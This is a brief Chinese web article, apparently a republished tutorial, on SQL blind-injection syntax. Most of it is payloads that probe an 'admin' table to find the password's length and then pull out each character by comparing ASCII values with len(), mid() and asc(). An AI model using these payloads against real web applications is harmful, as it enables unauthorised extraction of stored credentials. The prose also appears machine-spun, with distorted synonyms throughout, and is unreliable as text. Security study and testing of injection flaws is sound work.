对于sql盲注语法
发布时间:09/01 来源:未知 浏览:
关键词:
猎取数据长度:
and (select top 1 len(列名) from 表名)>5 and (select top 1 len(password) from admin)>16//差错 and (select top 1 len(password) from admin)>15//正常
猎取指定位数的数据:
and (select top 1 asc(mid(列名,位置,1)) from 表名)>97 and (select top 1 asc(mid(admin,1,1)) from admin)>96//推断admin字段的内容首先位的ascii码值大于96 正常 and (select top 1 asc(mid(admin,1,1)) from admin)>97//推断admin字段的内容首先位的ascii码值大于97 差错 注明就是97
mid(字符串,截取的位置,截取字符数) asc() //将字符转换成ascii码 利便进行比拼
举荐:《mysql视频教程》
以上就是对于sql盲注语法的细致内容,更多请关注 百分百源码网 其它相干文章!